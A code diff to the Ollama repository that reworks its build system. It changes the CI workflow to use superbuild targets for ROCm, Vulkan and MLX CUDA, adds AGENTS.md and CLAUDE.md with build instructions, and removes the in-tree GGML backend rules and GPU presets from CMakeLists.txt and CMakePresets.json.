+            superbuild_dir: build\local-superbuild-rocm_v7_1
+            superbuild_args: '-DOLLAMA_LLAMA_BACKENDS=rocm_v7_1 -DAMDGPU_TARGETS=gfx1010'
+            expected_payload: lib\ollama\rocm_v7_1\ggml-hip.dll
           - preset: Vulkan
             install: https://sdk.lunarg.com/sdk/download/1.4.321.1/windows/vulkansdk-windows-X64-1.4.321.1.exe
+            superbuild_target: ollama-llama-server-vulkan
+            superbuild_dir: build\local-superbuild-vulkan
+            superbuild_args: '-DOLLAMA_LLAMA_BACKENDS=vulkan'
+            expected_payload: lib\ollama\vulkan\ggml-vulkan.dll
           - preset: 'MLX CUDA 13'
             install: https://developer.download.nvidia.com/compute/cuda/13.0.0/local_installers/cuda_13.0.0_windows.exe
             cudnn-install: https://developer.download.nvidia.com/compute/cudnn/redist/cudnn/windows-x86_64/cudnn-windows-x86_64-9.18.1.3_cuda13-archive.zip
-            flags: '-DCMAKE_CUDA_ARCHITECTURES=80'
+            superbuild_target: ollama-mlx-cuda_v13
+            superbuild_dir: build\local-superbuild-mlx-cuda_v13
+            superbuild_args: '-DOLLAMA_MLX_BACKENDS=cuda_v13 -DCMAKE_CUDA_ARCHITECTURES=80 -DMLX_CUDA_ARCHITECTURES=80-virtual'
+            expected_payload: lib\ollama\mlx_cuda_v13\mlx.dll
+            install-go: true
             cuda-components:
               - '"cudart"'
               - '"nvcc"'
@@ -203,6 +284,10 @@ jobs:
           }
 
           $vulkanPath = (Resolve-Path "C:\VulkanSDK\*").path
+          $vulkanRuntime = Join-Path $vulkanPath "Helpers\VulkanRT.exe"
+          if (Test-Path $vulkanRuntime) {
+            Start-Process -FilePath $vulkanRuntime -ArgumentList "/s" -NoNewWindow -Wait
+          }
           echo "$vulkanPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
           echo "VULKAN_SDK=$vulkanPath" >> $env:GITHUB_ENV
       - if: matrix.preset == 'MLX CUDA 13'
@@ -232,18 +317,44 @@ jobs:
             C:\Program Files\NVIDIA\CUDNN
           key: ${{ matrix.install }}-${{ matrix.cudnn-install }}
       - uses: actions/checkout@v4
+      - if: matrix.superbuild_target == 'ollama-local' || matrix.install-go
+        uses: actions/setup-go@v5
+        with:
+          go-version-file: 'go.mod'
       - uses: actions/cache@v4
         with:
           path: ${{ github.workspace }}\.ccache
-          key: ccache-${{ runner.os }}-${{ runner.arch }}-${{ matrix.preset }}-${{ needs.changes.outputs.vendorsha }}
-      - run: |
+          key: ccache-${{ runner.os }}-${{ runner.arch }}-${{ matrix.preset }}-${{ needs.changes.outputs.enginehash }}
+      - name: Build native superbuild
+        if: matrix.superbuild_target
+        run: |
+          $ErrorActionPreference = "Stop"
           Import-Module 'C:\Program Files\Microsoft Visual Studio\2022\Enterprise\Common7\Tools\Microsoft.VisualStudio.DevShell.dll'
           Enter-VsDevShell -VsInstallPath 'C:\Program Files\Microsoft Visual Studio\2022\Enterprise' -SkipAutomaticLocation  -DevCmdArguments '-arch=x64 -no_logo'
-          cmake --preset "${{ matrix.preset }}" ${{ matrix.flags }}
-          cmake --build --parallel --preset "${{ matrix.preset }}"
+          cmake -S . -B "${{ matrix.superbuild_dir }}" ${{ matrix.superbuild_args }}
+          $env:CMAKE_BUILD_PARALLEL_LEVEL = [Environment]::ProcessorCount
+          cmake --build "${{ matrix.superbuild_dir }}" --target "${{ matrix.superbuild_target }}" -- -l $([Environment]::ProcessorCount)
+          if (!(Test-Path "${{ matrix.superbuild_dir }}\${{ matrix.expected_payload }}")) {
+            throw "missing ${{ matrix.expected_payload }}"
+          }
         env:
           CMAKE_GENERATOR: Ninja
-
+      - name: Verify local superbuild install
+        if: matrix.superbuild_target == 'ollama-local'
+        run: |
+          $ErrorActionPreference = "Stop"
+          & ".\ollama.exe" --version
+          & "${{ matrix.superbuild_dir }}\lib\ollama\llama-server.exe" --version
+          if (!(Test-Path "${{ matrix.superbuild_dir }}\lib\ollama\llama-quantize.exe")) {
+            throw "missing llama-quantize.exe"
+          }
+          $installPrefix = Join-Path $env:RUNNER_TEMP "ollama-local"
+          cmake --install "${{ matrix.superbuild_dir }}" --component ollama-local --prefix "$installPrefix"
+          & "$installPrefix\bin\ollama.exe" --version
+          & "$installPrefix\lib\ollama\llama-server.exe" --version
+          if (!(Test-Path "$installPrefix\lib\ollama\llama-quantize.exe")) {
+            throw "missing installed llama-quantize.exe"
+          }
   go_mod_tidy:
     runs-on: ubuntu-latest
     steps:
@@ -266,7 +377,9 @@ jobs:
           go-version-file: 'go.mod'
           cache-dependency-path: |
             go.sum
-            Makefile.sync
+            LLAMA_CPP_VERSION
+            MLX_VERSION
+            MLX_C_VERSION
       - uses: actions/setup-node@v4
         with:
           node-version: '20'
@@ -280,6 +393,17 @@ jobs:
         if: ${{ startsWith(matrix.os, 'ubuntu') }}
         working-directory: ./app/ui/app
         run: npm test
+      - name: Verify MLX generated files are current
+        if: ${{ startsWith(matrix.os, 'ubuntu') }}
+        run: |
+          cmake -S . -B build/mlx-generate -DOLLAMA_MLX_BACKENDS=cuda_v13
+          cmake --build build/mlx-generate --target ollama-mlx-generate-wrappers
+          git diff --exit-code -- \
+            x/imagegen/mlx/mlx.h \
+            x/imagegen/mlx/mlx.c \
+            x/mlxrunner/mlx/generated.h \
+            x/mlxrunner/mlx/generated.c \
+            x/mlxrunner/mlx/include/mlx/c
       - name: Run go generate
         run: go generate ./...
 
@@ -294,12 +418,3 @@ jobs:
       - uses: golangci/golangci-lint-action@v9
         with:
           only-new-issues: true
-
-  patches:
-    runs-on: ubuntu-latest
-    steps:
-      - uses: actions/checkout@v4
-      - name: Verify patches apply cleanly and do not change files
-        run: |
-          make -f Makefile.sync clean checkout apply-patches sync
-          git diff --compact-summary --exit-code

AGENTS.md

@@ -0,0 +1,21 @@
+# AGENTS.md
+
+## Building
+
+For a full build from the repository root:
+
+```sh
+cmake -B build .
+cmake --build build --parallel 8
+./ollama serve
+```
+
+For quick Go-only iteration against an existing native payload:
+
+```sh
+go build .
+go run . serve
+```
+
+See `docs/development.md` for prerequisites, platform notes, GPU backends, and
+the full development workflow.

CLAUDE.md

@@ -0,0 +1,3 @@
+# CLAUDE.md
+
+See `AGENTS.md` for the shared agent instructions for this repository.

CMakeLists.txt

@@ -1,4 +1,4 @@
-cmake_minimum_required(VERSION 3.21)
+cmake_minimum_required(VERSION 3.24)
 
 project(Ollama C CXX)
 
@@ -23,30 +23,23 @@ include(GNUInstallDirs)
 
 find_package(Threads REQUIRED)
 
-set(CMAKE_BUILD_TYPE Release)
-set(BUILD_SHARED_LIBS ON)
+if(NOT CMAKE_CONFIGURATION_TYPES AND NOT CMAKE_BUILD_TYPE)
+    set(CMAKE_BUILD_TYPE Release CACHE STRING "Build type" FORCE)
+endif()
+
+# These defaults can be overridden by presets (e.g., for static macOS llama-server builds)
+if(NOT DEFINED BUILD_SHARED_LIBS)
+    set(BUILD_SHARED_LIBS ON)
+endif()
 
 set(CMAKE_CXX_STANDARD 17)
 set(CMAKE_CXX_STANDARD_REQUIRED ON)
-set(CMAKE_CXX_EXTENSIONS ON) # Recent versions of MLX Requires gnu++17 extensions to compile properly
+set(CMAKE_CXX_EXTENSIONS ON) # Recent versions of MLX require gnu++17 extensions to compile properly
 
-set(GGML_BUILD ON)
-set(GGML_SHARED ON)
-set(GGML_CCACHE ON)
-set(GGML_BACKEND_DL ON)
-set(GGML_BACKEND_SHARED ON)
-set(GGML_SCHED_MAX_COPIES 4)
-
-set(GGML_LLAMAFILE ON)
-set(GGML_CUDA_PEER_MAX_BATCH_SIZE 128)
-set(GGML_CUDA_GRAPHS ON)
-set(GGML_CUDA_FA ON)
-set(GGML_CUDA_COMPRESSION_MODE default)
-
-if((CMAKE_OSX_ARCHITECTURES AND NOT CMAKE_OSX_ARCHITECTURES MATCHES "arm64")
-    OR (NOT CMAKE_OSX_ARCHITECTURES AND NOT CMAKE_SYSTEM_PROCESSOR MATCHES "arm|aarch64|ARM64|ARMv[0-9]+"))
-    set(GGML_CPU_ALL_VARIANTS ON)
-endif()
+# GGML backend for inference is provided by llama-server (built separately via
+# llama/server/CMakeLists.txt using FetchContent from the pinned llama.cpp source).
+# The root CMake project is the orchestration entrypoint; backend-specific
+# build rules live in subprojects under cmake/.
 
 if(APPLE)
     set(CMAKE_BUILD_RPATH "@loader_path")
@@ -55,7 +48,8 @@ if(APPLE)
 endif()
 
 set(OLLAMA_BUILD_DIR ${CMAKE_BINARY_DIR}/lib/ollama)
-set(OLLAMA_INSTALL_DIR ${CMAKE_INSTALL_PREFIX}/lib/ollama/${OLLAMA_RUNNER_DIR})
+set(OLLAMA_LIB_DIR "lib/ollama" CACHE STRING "Install destination for Ollama runtime payloads")
+set(OLLAMA_INSTALL_DIR ${OLLAMA_LIB_DIR}/${OLLAMA_RUNNER_DIR})
 
 set(CMAKE_RUNTIME_OUTPUT_DIRECTORY         ${OLLAMA_BUILD_DIR})
 set(CMAKE_RUNTIME_OUTPUT_DIRECTORY_DEBUG   ${OLLAMA_BUILD_DIR})
@@ -64,309 +58,9 @@ set(CMAKE_LIBRARY_OUTPUT_DIRECTORY         ${OLLAMA_BUILD_DIR})
 set(CMAKE_LIBRARY_OUTPUT_DIRECTORY_DEBUG   ${OLLAMA_BUILD_DIR})
 set(CMAKE_LIBRARY_OUTPUT_DIRECTORY_RELEASE ${OLLAMA_BUILD_DIR})
 
-# Store ggml include paths for use with target_include_directories later.
-# We avoid global include_directories() to prevent polluting the include path
-# for other projects like MLX (whose openblas dependency has its own common.h).
-set(GGML_INCLUDE_DIRS
-    ${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src
-    ${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src/include
-    ${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src/ggml-cpu
-    ${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src/ggml-cpu/amx
-)
-
-add_compile_definitions(NDEBUG GGML_VERSION=0x0 GGML_COMMIT=0x0)
-
-# Define GGML version variables for shared library SOVERSION
-# These are required by ggml/src/CMakeLists.txt for proper library versioning
-set(GGML_VERSION_MAJOR 0)
-set(GGML_VERSION_MINOR 0)
-set(GGML_VERSION_PATCH 0)
-set(GGML_VERSION "${GGML_VERSION_MAJOR}.${GGML_VERSION_MINOR}.${GGML_VERSION_PATCH}")
-
-set(GGML_CPU ON)
-add_subdirectory(${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src)
-set_property(TARGET ggml PROPERTY EXCLUDE_FROM_ALL TRUE)
-
-get_target_property(CPU_VARIANTS ggml-cpu MANUALLY_ADDED_DEPENDENCIES)
-if(NOT CPU_VARIANTS)
-    set(CPU_VARIANTS "ggml-cpu")
-endif()
-
-# Apply ggml include directories to ggml targets only (not globally)
-target_include_directories(ggml-base PRIVATE ${GGML_INCLUDE_DIRS})
-foreach(variant ${CPU_VARIANTS})
-    if(TARGET ${variant})
-        target_include_directories(${variant} PRIVATE ${GGML_INCLUDE_DIRS})
-    endif()
-endforeach()
-
-install(TARGETS ggml-base ${CPU_VARIANTS}
-    RUNTIME_DEPENDENCIES
-        PRE_EXCLUDE_REGEXES ".*"
-    RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT CPU
-    LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT CPU
-    FRAMEWORK DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT CPU
-)
-
-check_language(CUDA)
-if(CMAKE_CUDA_COMPILER)
-    if(CMAKE_VERSION VERSION_GREATER_EQUAL "3.24" AND NOT CMAKE_CUDA_ARCHITECTURES)
-        set(CMAKE_CUDA_ARCHITECTURES "native")
-    endif()
-
-    find_package(CUDAToolkit)
-    add_subdirectory(${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src/ggml-cuda)
-    target_include_directories(ggml-cuda PRIVATE ${GGML_INCLUDE_DIRS})
-    install(TARGETS ggml-cuda
-        RUNTIME_DEPENDENCIES
-            DIRECTORIES ${CUDAToolkit_BIN_DIR} ${CUDAToolkit_BIN_DIR}/x64 ${CUDAToolkit_LIBRARY_DIR}
-            PRE_INCLUDE_REGEXES cublas cublasLt cudart
-            PRE_EXCLUDE_REGEXES ".*"
-        RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT CUDA
-        LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT CUDA
-    )
-endif()
-
-set(WINDOWS_AMDGPU_TARGETS_EXCLUDE_REGEX "^gfx(908|90a|1200|1201):xnack[+-]$"
-    CACHE STRING
-    "Regular expression describing AMDGPU_TARGETS not supported on Windows. Override to force building these targets. Default \"^gfx(908|90a|1200|1201):xnack[+-]$\"."
-)
-
-check_language(HIP)
-if(CMAKE_HIP_COMPILER)
-    set(HIP_PLATFORM "amd")
-
-    if(NOT AMDGPU_TARGETS)
-        find_package(hip REQUIRED)
-        list(FILTER AMDGPU_TARGETS INCLUDE REGEX "^gfx(94[012]|101[02]|1030|110[012]|120[01])$")
-    endif()
-
-    if(WIN32 AND WINDOWS_AMDGPU_TARGETS_EXCLUDE_REGEX)
-        list(FILTER AMDGPU_TARGETS EXCLUDE REGEX ${WINDOWS_AMDGPU_TARGETS_EXCLUDE_REGEX})
-    endif()
-
-    if(AMDGPU_TARGETS)
-        find_package(hip REQUIRED)
-        add_subdirectory(${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src/ggml-hip)
-        target_include_directories(ggml-hip PRIVATE ${GGML_INCLUDE_DIRS})
-
-        if (WIN32)
-            target_compile_definitions(ggml-hip PRIVATE GGML_CUDA_NO_PEER_COPY)
-        endif()
-
-        target_compile_definitions(ggml-hip PRIVATE GGML_HIP_NO_VMM)
-
-        install(TARGETS ggml-hip
-            RUNTIME_DEPENDENCY_SET rocm
-            RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT HIP
-            LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT HIP
-        )
-        install(RUNTIME_DEPENDENCY_SET rocm
-                DIRECTORIES ${HIP_BIN_INSTALL_DIR} ${HIP_LIB_INSTALL_DIR}
-                PRE_INCLUDE_REGEXES hipblas rocblas amdhip64 rocsolver amd_comgr hsa-runtime64 rocsparse tinfo rocprofiler-register roctx64 rocroller drm drm_amdgpu numa elf
-                PRE_EXCLUDE_REGEXES ".*"
-                POST_EXCLUDE_REGEXES "system32"
-            RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT HIP
-            LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT HIP
-        )
-
-        foreach(HIP_LIB_BIN_INSTALL_DIR IN ITEMS ${HIP_BIN_INSTALL_DIR} ${HIP_LIB_INSTALL_DIR})
-            if(EXISTS ${HIP_LIB_BIN_INSTALL_DIR}/rocblas)
-                install(DIRECTORY ${HIP_LIB_BIN_INSTALL_DIR}/rocblas DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT HIP)
-                break()
-            endif()
-        endforeach()
-    endif()
-endif()
-
-if(NOT APPLE)
-    find_package(Vulkan)
-    if(Vulkan_FOUND)
-        add_subdirectory(${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src/ggml-vulkan)
-        target_include_directories(ggml-vulkan PRIVATE ${GGML_INCLUDE_DIRS})
-        install(TARGETS ggml-vulkan
-            RUNTIME_DEPENDENCIES
-                PRE_INCLUDE_REGEXES vulkan
-                PRE_EXCLUDE_REGEXES ".*"
-            RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT Vulkan
-            LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT Vulkan
-        )
-    endif()
-endif()
-
-option(MLX_ENGINE "Enable MLX backend" OFF)
-if(MLX_ENGINE)
-    message(STATUS "Setting up MLX (this takes a while...)")
-    add_subdirectory(${CMAKE_CURRENT_SOURCE_DIR}/x/imagegen/mlx)
-
-    # Find CUDA toolkit if MLX is built with CUDA support
-    find_package(CUDAToolkit)
-
-    # Build list of directories for runtime dependency resolution
-    set(MLX_RUNTIME_DIRS ${CUDAToolkit_BIN_DIR} ${CUDAToolkit_BIN_DIR}/x64 ${CUDAToolkit_LIBRARY_DIR})
-    # Add cuDNN bin paths for DLLs (Windows MLX CUDA builds)
-    # CUDNN_ROOT_DIR is the standard CMake variable for cuDNN location
-    if(DEFINED ENV{CUDNN_ROOT_DIR})
-        # cuDNN 9.x has versioned subdirectories under bin/ (e.g., bin/13.0/)
-        file(GLOB CUDNN_BIN_SUBDIRS "$ENV{CUDNN_ROOT_DIR}/bin/*")
-        list(APPEND MLX_RUNTIME_DIRS ${CUDNN_BIN_SUBDIRS})
-    endif()
-    # Add build output directory and MLX dependency build directories
-    list(APPEND MLX_RUNTIME_DIRS ${OLLAMA_BUILD_DIR})
-    # OpenBLAS DLL location (pre-built zip extracts into openblas-src/bin/)
-    list(APPEND MLX_RUNTIME_DIRS ${CMAKE_BINARY_DIR}/_deps/openblas-src/bin)
-    # NCCL: on Linux, if real NCCL is found, cmake bundles libnccl.so via the
-    # regex below. If NCCL is not found, MLX links a static stub (OBJECT lib)
-    # so there is no runtime dependency. This path covers the stub build dir
-    # for windows so we include the DLL in our dependencies.
-    list(APPEND MLX_RUNTIME_DIRS ${CMAKE_BINARY_DIR}/_deps/mlx-build/mlx/distributed/nccl/nccl_stub-prefix/src/nccl_stub-build/Release)
-
-    # Base regexes for runtime dependencies (cross-platform)
-    set(MLX_INCLUDE_REGEXES cublas cublasLt cudart cufft nvrtc nvrtc-builtins cudnn nccl openblas gfortran)
-    # On Windows, also include dl.dll (dlfcn-win32 POSIX emulation layer)
-    if(WIN32)
-        list(APPEND MLX_INCLUDE_REGEXES "^dl\\.dll$")
-    endif()
-
-    install(TARGETS mlx mlxc
-        RUNTIME_DEPENDENCIES
-            DIRECTORIES ${MLX_RUNTIME_DIRS}
-            PRE_INCLUDE_REGEXES ${MLX_INCLUDE_REGEXES}
-            PRE_EXCLUDE_REGEXES ".*"
-        RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
-        LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
-        FRAMEWORK DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
-    )
-
-    if(TARGET jaccl)
-        install(TARGETS jaccl
-            RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
-            LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
-            FRAMEWORK DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
-        )
-    endif()
-
-    # Install the Metal library for macOS arm64 (must be colocated with the binary)
-    # Metal backend is only built for arm64, not x86_64
-    if(APPLE AND CMAKE_SYSTEM_PROCESSOR STREQUAL "arm64")
-        install(FILES ${CMAKE_BINARY_DIR}/_deps/mlx-build/mlx/backend/metal/kernels/mlx.metallib
-            DESTINATION ${OLLAMA_INSTALL_DIR}
-            COMPONENT MLX)
-    endif()
-
-    # Install headers for NVRTC JIT compilation at runtime.
-    # MLX's own install rules use the default component so they get skipped by
-    # --component MLX. Headers are installed alongside libmlx in OLLAMA_INSTALL_DIR.
-    #
-    # Layout:
-    #   ${OLLAMA_INSTALL_DIR}/include/cccl/{cuda,nv}/  — CCCL headers
-    #   ${OLLAMA_INSTALL_DIR}/include/*.h               — CUDA toolkit headers
-    #
-    # MLX's jit_module.cpp resolves CCCL via
-    #   current_binary_dir()[.parent_path()] / "include" / "cccl"
-    # On Linux, MLX's jit_module.cpp resolves CCCL via
-    #   current_binary_dir().parent_path() / "include" / "cccl", so we create a
-    #   symlink from lib/ollama/include -> ${OLLAMA_RUNNER_DIR}/include
-    #   This will need refinement if we add multiple CUDA versions for MLX in the future.
-    # CUDA runtime headers are found via CUDA_PATH env var (set by mlxrunner).
-    if(EXISTS ${CMAKE_BINARY_DIR}/_deps/cccl-src/include/cuda)
-        install(DIRECTORY ${CMAKE_BINARY_DIR}/_deps/cccl-src/include/cuda
-            DESTINATION ${OLLAMA_INSTALL_DIR}/include/cccl
-            COMPONENT MLX)
-        install(DIRECTORY ${CMAKE_BINARY_DIR}/_deps/cccl-src/include/nv
-            DESTINATION ${OLLAMA_INSTALL_DIR}/include/cccl
-            COMPONENT MLX)
-        if(NOT WIN32 AND NOT APPLE)
-            install(CODE "
-                set(_link \"${CMAKE_INSTALL_PREFIX}/lib/ollama/include\")
-                set(_target \"${OLLAMA_RUNNER_DIR}/include\")
-                if(NOT EXISTS \${_link})
-                    execute_process(COMMAND \${CMAKE_COMMAND} -E create_symlink \${_target} \${_link})
-                endif()
-            " COMPONENT MLX)
-        endif()
-    endif()
-
-    # Install minimal CUDA toolkit headers needed by MLX JIT kernels.
-    # These are the transitive closure of includes from mlx/backend/cuda/device/*.cuh.
-    # The Go mlxrunner sets CUDA_PATH to OLLAMA_INSTALL_DIR so MLX finds them at
-    # $CUDA_PATH/include/*.h via NVRTC --include-path.
-    if(CUDAToolkit_FOUND)
-        # CUDAToolkit_INCLUDE_DIRS may be a semicolon-separated list
-        # (e.g. ".../include;.../include/cccl"). Find the entry that
-        # contains the CUDA runtime headers we need.
-        set(_cuda_inc "")
-        foreach(_dir ${CUDAToolkit_INCLUDE_DIRS})
-            if(EXISTS "${_dir}/cuda_runtime_api.h")
-                set(_cuda_inc "${_dir}")
-                break()
-            endif()
-        endforeach()
-        if(NOT _cuda_inc)
-            message(WARNING "Could not find cuda_runtime_api.h in CUDAToolkit_INCLUDE_DIRS: ${CUDAToolkit_INCLUDE_DIRS}")
-        else()
-            set(_dst "${OLLAMA_INSTALL_DIR}/include")
-            set(_MLX_JIT_CUDA_HEADERS
-                builtin_types.h
-                cooperative_groups.h
-                cuda_bf16.h
-                cuda_bf16.hpp
-                cuda_device_runtime_api.h
-                cuda_fp16.h
-                cuda_fp16.hpp
-                cuda_fp8.h
-                cuda_fp8.hpp
-                cuda_runtime_api.h
-                device_types.h
-                driver_types.h
-                math_constants.h
-                surface_types.h
-                texture_types.h
-                vector_functions.h
-                vector_functions.hpp
-                vector_types.h
-            )
-            foreach(_hdr ${_MLX_JIT_CUDA_HEADERS})
-                install(FILES "${_cuda_inc}/${_hdr}"
-                    DESTINATION ${_dst}
-                    COMPONENT MLX)
-            endforeach()
-            # Subdirectory headers
-            install(DIRECTORY "${_cuda_inc}/cooperative_groups"
-                DESTINATION ${_dst}
-                COMPONENT MLX
-                FILES_MATCHING PATTERN "*.h")
-            install(FILES "${_cuda_inc}/crt/host_defines.h"
-                DESTINATION "${_dst}/crt"
-                COMPONENT MLX)
-        endif()
-    endif()
-
-    # On Windows, explicitly install dl.dll (dlfcn-win32 POSIX dlopen emulation)
-    # RUNTIME_DEPENDENCIES auto-excludes it via POST_EXCLUDE_FILES_STRICT because
-    # dlfcn-win32 is a known CMake target with its own install rules (which install
-    # to the wrong destination). We must install it explicitly here.
-    if(WIN32)
-        install(FILES ${OLLAMA_BUILD_DIR}/dl.dll
-            DESTINATION ${OLLAMA_INSTALL_DIR}
-            COMPONENT MLX)
-    endif()
-
-    # Manually install CUDA runtime libraries that MLX loads via dlopen
-    # (not detected by RUNTIME_DEPENDENCIES since they aren't link-time deps)
-    if(CUDAToolkit_FOUND)
-        file(GLOB MLX_CUDA_LIBS
-            "${CUDAToolkit_LIBRARY_DIR}/libcudart.so*"
-            "${CUDAToolkit_LIBRARY_DIR}/libcublas.so*"
-            "${CUDAToolkit_LIBRARY_DIR}/libcublasLt.so*"
-            "${CUDAToolkit_LIBRARY_DIR}/libnvrtc.so*"
-            "${CUDAToolkit_LIBRARY_DIR}/libnvrtc-builtins.so*"
-            "${CUDAToolkit_LIBRARY_DIR}/libcufft.so*"
-            "${CUDAToolkit_LIBRARY_DIR}/libcudnn.so*")
-        if(MLX_CUDA_LIBS)
-            install(FILES ${MLX_CUDA_LIBS}
-                DESTINATION ${OLLAMA_INSTALL_DIR}
-                COMPONENT MLX)
-        endif()
-    endif()
+if(EXISTS "${CMAKE_CURRENT_SOURCE_DIR}/llama/server/CMakeLists.txt")
+    set(OLLAMA_HAVE_LLAMA_SERVER TRUE)
+else()
+    set(OLLAMA_HAVE_LLAMA_SERVER FALSE)
 endif()
+include(${CMAKE_CURRENT_SOURCE_DIR}/cmake/local.cmake)

CMakePresets.json

@@ -11,109 +11,10 @@
       }
     },
     {
-      "name": "CPU",
-      "inherits": [ "Default" ]
-    },
-    {
-      "name": "CUDA",
-      "inherits": [ "Default" ]
-    },
-    {
-      "name": "CUDA 11",
-      "inherits": [ "CUDA" ],
-      "cacheVariables": {
-        "CMAKE_CUDA_ARCHITECTURES": "50-virtual;60-virtual;61-virtual;70-virtual;75-virtual;80-virtual;86-virtual;87-virtual;89-virtual;90-virtual",
-        "CMAKE_CUDA_FLAGS": "-Wno-deprecated-gpu-targets -t 2",
-        "OLLAMA_RUNNER_DIR": "cuda_v11"
-      }
-    },
-    {
-      "name": "CUDA 12",
-      "inherits": [ "CUDA" ],
-      "cacheVariables": {
-        "CMAKE_CUDA_ARCHITECTURES": "50;52;60;61;70;75;80;86;89;90;90a;120",
-        "CMAKE_CUDA_FLAGS": "-Wno-deprecated-gpu-targets -t 2",
-        "OLLAMA_RUNNER_DIR": "cuda_v12"
-      }
-    },
-    {
-      "name": "CUDA 13",
-      "inherits": [ "CUDA" ],
-      "cacheVariables": {
-        "CMAKE_CUDA_ARCHITECTURES": "75-virtual;80-virtual;86-virtual;87-virtual;89-virtual;90-virtual;90a-virtual;100-virtual;103-virtual;110-virtual;120-virtual;121-virtual",
-        "CMAKE_CUDA_FLAGS": "-t 2",
-        "OLLAMA_RUNNER_DIR": "cuda_v13"
-      }
-    },
-    {
-      "name": "JetPack 5",
-      "inherits": [ "CUDA" ],
-      "cacheVariables": {
-        "CMAKE_CUDA_ARCHITECTURES": "72;87",
-        "OLLAMA_RUNNER_DIR": "cuda_jetpack5"
-      }
-    },
-    {
-      "name": "JetPack 6",
-      "inherits": [ "CUDA" ],
-      "cacheVariables": {
-        "CMAKE_CUDA_ARCHITECTURES": "87",
-        "OLLAMA_RUNNER_DIR": "cuda_jetpack6"
-      }
-    },
-    {
-      "name": "ROCm",
+      "name": "MLX Metal",
       "inherits": [ "Default" ],
       "cacheVariables": {
-        "CMAKE_HIP_PLATFORM": "amd"
-      }
-    },
-    {
-      "name": "ROCm 6",
-      "inherits": [ "ROCm" ],
-      "cacheVariables": {
-        "CMAKE_HIP_FLAGS": "-parallel-jobs=4",
-        "AMDGPU_TARGETS": "gfx940;gfx941;gfx942;gfx1010;gfx1012;gfx1030;gfx1100;gfx1101;gfx1102;gfx1151;gfx1200;gfx1201;gfx908:xnack-;gfx90a:xnack+;gfx90a:xnack-",
-        "OLLAMA_RUNNER_DIR": "rocm"
-      }
-    },
-    {
-      "name": "ROCm 7",
-      "inherits": [ "ROCm" ],
-      "cacheVariables": {
-        "CMAKE_HIP_FLAGS": "-parallel-jobs=4",
-        "AMDGPU_TARGETS": "gfx942;gfx950;gfx1010;gfx1012;gfx1030;gfx1100;gfx1101;gfx1102;gfx1103;gfx1150;gfx1151;gfx1200;gfx1201;gfx908:xnack-;gfx90a:xnack+;gfx90a:xnack-",
-        "OLLAMA_RUNNER_DIR": "rocm"
-      }
-    },
-    {
-      "name": "Vulkan",
-      "inherits": [ "Default" ],
-      "cacheVariables": {
-        "OLLAMA_RUNNER_DIR": "vulkan"
-      }
-    },
-    {
-      "name": "MLX",
-      "inherits": [ "Default" ],
-      "cacheVariables": {
-        "MLX_ENGINE": "ON",
-        "OLLAMA_RUNNER_DIR": "mlx"
-      }
-    },
-    {
-      "name": "MLX CUDA 12",
-      "inherits": [ "MLX", "CUDA 12" ],
-      "cacheVariables": {
-        "OLLAMA_RUNNER_DIR": "mlx_cuda_v12"
-      }
-    },
-    {
-      "name": "MLX CUDA 13",
-      "inherits": [ "MLX", "CUDA 13" ],
-      "cacheVariables": {
-        "MLX_CUDA_ARCHITECTURES": "86;89;90;90a;100;103;75-virtual;80-virtual;110-virtual;120-virtual;121-virtual",
-        "OLLAMA_RUNNER_DIR": "mlx_cuda_v13"
+        "OLLAMA_MLX_BACKENDS": "metal_v3;metal_v4"
       }
     }
   ],
@@ -124,74 +25,9 @@
       "configuration": "Release"
     },
     {
-      "name": "CPU",
-      "configurePreset": "Default",
-      "targets": [ "ggml-cpu" ]
-    },
-    {
-      "name": "CUDA",
-      "configurePreset": "CUDA",
-      "targets": [ "ggml-cuda" ]
-    },
-    {
-      "name": "CUDA 11",
-      "inherits": [ "CUDA" ],
-      "configurePreset": "CUDA 11"
-    },
-    {
-      "name": "CUDA 12",
-      "inherits": [ "CUDA" ],
-      "configurePreset": "CUDA 12"
-    },
-    {
-      "name": "CUDA 13",
-      "inherits": [ "CUDA" ],
-      "configurePreset": "CUDA 13"
-    },
-    {
-      "name": "JetPack 5",
-      "inherits": [ "CUDA" ],
-      "configurePreset": "JetPack 5"
-    },
-    {
-      "name": "JetPack 6",
-      "inherits": [ "CUDA" ],
-      "configurePreset": "JetPack 6"
-    },
-    {
-      "name": "ROCm",
-      "configurePreset": "ROCm",
-      "targets": [ "ggml-hip" ]
-    },
-    {
-      "name": "ROCm 6",
-      "inherits": [ "ROCm" ],
-      "configurePreset": "ROCm 6"
-    },
-    {
-      "name": "ROCm 7",
-      "inherits": [ "ROCm" ],
-      "configurePreset": "ROCm 7"
-    },
-    {
-      "name": "Vulkan",
-      "targets": [ "ggml-vulkan" ],
-      "configurePreset": "Vulkan"
-    },
-    {
-      "name": "MLX",
-      "targets": [ "mlx", "mlxc" ],
-      "configurePreset": "MLX"
